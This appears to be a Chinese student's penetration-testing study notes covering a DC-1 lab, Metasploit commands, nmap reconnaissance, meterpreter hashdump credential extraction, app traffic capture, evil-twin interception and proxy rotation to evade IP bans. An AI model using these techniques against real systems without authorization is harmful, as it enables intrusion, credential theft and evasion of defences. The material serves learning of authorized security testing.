dc1的实验完成了前五步,前期搜集到资产,进行了主机发现,搜集到足够信息后分析出可以利用的漏洞,然后利用工具实现漏洞的利用,拿到系统权限,拿到数据库的数据。但是没有进行进一步的内网渗透。
在这些步骤,我认为很大程度上在信息收集阶段就可以决定一次渗透测试的效果。因为我们必须对资产边界一类问题了解清楚,才能合法的进行测试,并且,由于安全问题遵从短板效应,只有详细的了解到相关信息,才能得到突破口。再者,当我们遇到漏洞或者其他可以利用的地方时,我们除了发现,还要能识别,比如被加密的数据,被编码的数据,他们的加密方式是什么,他们的编码方式是什么,比如一眼能看出来md5,sha-1编码等。这样,在渗透测试的过程中才能把精力花在正确的方向,不至于一开扫之后就啥都不懂了。

渗透工具有很多,我们的老朋友kali集成了许多工具。搞渗透嘛,离不开虚拟机和工具,想起这几年东密歇根大学的DR.lee还有班菲尔德教授给我们带来的实验课,真实而有趣,第一次玩虚拟机,装win8是在大一的那个夏天哈哈,第一次装kali则是信安协会的培训装的,后面几个学期DR.lee的课玩服务器,我也算是windows xp、win7、win8、win10、windows2008、windows2012、centos7、kali(debian)、ubuntu都玩过的,vm15.5从班菲尔德教授上课一直用到现在,坚挺得很,我可谓是太会装虚拟机了,下面是遇到安装或者启动的时候虚拟机黑屏没反应的措施:
1.首先把虚拟机关闭,把vm关闭,把进程关了,重启一遍,然后物理机cmd,输入一下命令:
netsh winsock reset 这条命令相当于重启一下网络,因为虚拟机可能出现了接口的冲突
2.安装新的虚拟机时,除了稍后再配置光盘映射,启动时最好在【选项】虚拟机启动项里选择启动,然后再bios界面把光盘的位置通过方向键拉到第一位

然而当我想做实验买来有嗅探功能的网卡,开开心心插进电脑,不是kali死机就是物理机死机,gg了。我的小愿望是电脑能正常运行kali然后被我插上网卡进行试验。

渗透测试框架
工具:Metasploit:是一个开源的渗透测试框架,也是漏洞研究与渗透代码开发平台

这个工具可以在渗透测试的各个阶段发挥一定的作用
1.在情报搜集的阶段:
metasploit有自己的扫描探测,也有插件利用其它工具比如:Nmap、Nessus

2.威胁建模阶段:
支持数据库命令将信息汇总到MYSQL数据库,帮助找出最可行的攻击路径

3.漏洞分析阶段:
提供大量协议的Fuzz探测器与Web应用漏洞探测模块

4.后渗透阶段:
metasploit有一个名为 Meterpreter 的工具,该工具可以驻留在内存并且具有面纱能力,是个高级的后门程序,比其他工具更出色(BO、BO2K、冰河、灰鸽子

5.报告生成阶段:
可生成报告

之前玩DC-1靶场的时候就有用到Metasploit,具体看看它的一些命令和操作。

该工具在kali就有,可以用kali进行实验,下面是一些常用命令:
1.msf>back
算错模块可以返回
2.msf>show exploits
显示工具中所有的可用的渗透攻击模块,exploits可以分为 主动型 和 被动型 ,被动型等待连接之后才能用,一般用于浏览器,ftp等
3.msf>search
用于查找特定的渗透攻击、辅助或攻击载荷模块。比如要搜索跟sql有关的模块
msf>search sql
如果是搜索特定漏洞,如
msf>search MS08_067

4.msf>show auxiliary
显示所有辅助模块以及用途
5.msf>show options
显示参数,并且显示yes的参数是需要配置的,比如DC-1要用到的命令需要配置RHOST才能使用
6.msf>show payloads
将当前模块的攻击载荷显示出来
7.msf>use
找到需要使用的攻击载荷或者模块之后,用use命令加载它们,这个时候提示符会变成该模块的命令提示符,通过配合show options来配置参数进行利用
8.msf>show targets
可以列出受漏洞影响的目标系统的类型
9.msf>info
显示更加详细的信息
10.msf>setunset
所有的参数只有set和unset两个状态,有些参数时必填的
11.msf>check
检测目标主机是否存在指定漏洞

渗透实践

一、信息搜集

被动信息搜集:通过搜索引擎、社交媒体等进行搜集,如通过 whois信息,dns信息等
1.搜索引擎查询:
掌握一些hacking语法
site: 指令:只显示来自某个目标域名(例如xx.com)的相关结果
intitle: 指令:只显示网页标题包含搜索关键字的结果
inurl: 指令:只显示在URL中有关键字的结果,比如找后台网页
【上述命令可以组合使用】


2.IP查询
一般ping一下。但是很多企业的waf是阻止ping的,还有当企业使用CDN(conten delivery netwo)内容分发网络技术的时候,ping到的只是部署的静态页面的服务器,这个时候可以试试用外国ip来ping,因为CDN主要针对国内加速。或者比如目标时www.xx.com的时候不妨把www去掉再ping,因为一级域名没有被解析到CDN服务器上。


3.WHOIS搜集
除了站长之家一类的网站可以查看信息,如果使用linux,使用 whois xxx.com可以查询目标域名的whois 信息


4.DNS信息搜集
Linux的 host 命令可以查询DNS服务器,如
host -t ns xxx.com


5.旁站查询
子域名爆破,或者用必应搜索引擎,输入:
ip:%xxx.xxx.xx.xx来查看


主动搜集:会与目标主机进行交互,会留下记录
1.发现主机
使用Nmap工具进行扫描,如扫描网络在线的主机
nmap -sP 192.168.xx.xx 或者 nmap -sP 192.168.1.0/24
[-sP的意思是用ping命令扫描,但是不扫描端口,应该是基于字典的一个遍历扫描]

2.端口扫描
使用Nmap其他命令,如
namp -p 1-65536 192.168.1.x扫描目标主机开放的端口

3.指纹探测
使用Nmap其他命令,如
nmap -O 192.168.1.x 扫描主机的系统或者版本

4.Web指纹探测
使用Nmap其他命令,如
nmap -sV 192.168.1.x 扫描一个web容器的信息,因为很多时候不同的容器默认的错误页显示都是不一样的,从很多地方的特征可以判断出容器的信息。打个比方,同样是错误页,apache就跟nginx显示的404不一样。

5.Web敏感目录扫描
通过字典来扫描的,可以使用:
【工具:dirb】需要自己提供一些敏感文件的字典
【工具:Webscarab】一款Web爬行工具,可以用来爆破目录

二、扫描

学一个工具:Nessus
这是一个漏洞扫描程序,其漏洞库一直更新,可同时在本机或者远端遥控,甚至可以在手机使用。
扫描阶段有很多工具可以使用,及进行测试的时候应该根据情况选择

三、漏洞利用
用呗

四、后渗透攻击
1.挖掘用户名和密码
学习过程中,很多密码是经过加密的,或者是被编码了,因此拿到了权限拿到了数据还不能马上利用。这就要求我们懂得辨认加密或者编码的方法了,比如:
windows系统存储哈希值一般为:
LAN Manger(LM)、NT LAN Manger(NTLM)、NT LAN Manger v2(NTLMv2)

在LM存储方式中,用户输入密码,或者更新密码,密码都会转换为哈希值。但是由于哈希长度会限制,就会把密码分为7个字符一组的哈希值,比如:
password123456 会被拆成password123456来存储。NTLM则不考虑长度,将密码作为整体加密。
【操作】提取系统用户名和哈希值
【工具】meterpreterhashdump模块
命令行: meterpreter>hashdump

然后想办法得到明文。

2.获取控制权
shell命令获取目标主机控制台


资产架构

#资产架构:

WEB单个源码指向安全

WEB多个目录源码安全

WEB多个端口源码安全

服务器架设多个站点安全

架设第三方插件接口安全

服务器架设多个应用安全

#番外安全:

基于域名解析安全

基于服务器本身安全

基于服务商信息安全

基于管理个人的安全

#考虑阻碍:

阻碍-站库分离

阻碍-CDN加速服务

阻碍-负载均衡服务

阻碍-WAF应用防火墙

阻碍-主机防护防火墙

1、单个源码指向,打比方说:
bbs.xx.com 是一个论坛,他只是一个论坛的话就关注这个网站的安全。

2、如果在bbs.xx.com的根目录下新建一些文件夹,比如blog,把类似wordpress的程序源码丢进去,那么访问:bbs.xx.com/blog 的时候将会访问到wordpress的页面,此时就是多个目录需要关注安全问题了,因为这是一个系统(网站)两套程序,任何一个程序出现问题整个系统(网站)都将面对风险

3、同样的道理,如果在bbs.xx.com8888放一套源码,就是基于端口的网站了

4、当创建新的站点,比如edu.xx.com它通过解析之后跟bbs.xx.com都指向同一个IP地址,在进行安全测试的时候可以选择同服务器下其他站点进行突破,可能会更加容易

5、当比如wordpress使用的第三方插件有安全问题,那么网站也会面对风险

app抓包

虽然我们有很多抓包工具【chalre、fidder、burp shuit】,但是根据协议等不同,它们的侧重点也不同,比如burp suit主要抓tcp/ip协议的包
当我们要进行流量分析的目标不是web网站,是比如APP的类型,也可以用抓包工具,比如burp suit 抓模拟器的包
首先cmd查看自己的ip地址,然后bp设置代理地址和端口,因为之前我就配好了证书,不然一般先要配证书才能抓https的数据包。下载逍遥模拟器,然后网络设置代理地址和端口,bp监听开,就可以抓包了。

拿有道词典app来说,在登录窗口输入账号密码(错误的)进行测试,进行抓包,发现不能抓,原因要么是没抓到、要么就是没有走http协议或者说是前端验证不需要过后端。

那么遇到不走web协议的咋办,抓不了包了。换工具!
【熟悉的wireshark、科来网络分析系统】这俩工具可以抓其他协议的包,然后挑选接口

在模拟器打开游戏,游戏不走web协议的,所以一般用刚说那俩,以科来举例子,可以按照进程来挑选数据包,很容易就发现跟我们通信的地址也就是游戏服务器传输的地址,数据包会不断增加。

那么抓到了这些非web协议的包,怎么对网站进行渗透测试呢,上文说到我们用分析工具发现了游戏服务器的ip地址,就可以从这出发进行我们的渗透测试。

抓包和封包

关系:零散和整体
封包:可以细化精确到每一个操作的数据包

Burp suit

在代理模块的监听地址
127.0.0.1:8888 意思是监听本地的浏览器,网络包经过这个端口传输
当虚拟机,或者模拟器,有自己的网络(虚拟出来的ip地址)要想监听必须增加ip地址和端口,比如通过ipconfig(window)查看的ip地址

那么以前外教课说的evil-twin的网络,我可以理解成诱使目标连接我们的网络,因为该网络的名字和密码是目标已知,且受目标信任。我们构建的网络,包括ip地址端口等,通过抓包工具或者其他手段可以对目标的传输数据进行监听,拦截,改包,重放等攻击。 代理问题,可以到“快代理”购买代理,经过配置可以做到每一次操作都换一个ip,这样,当ip被拉黑的时候,就可以通过不断的切换来实现绕过。那么,当遇到ddos攻击很有可能是由不同的肉鸡发送的大量请求,如果简单地拉黑ip,只要换着ip来就可以了,要怎么解决ddos,后面学习看看有没有方法。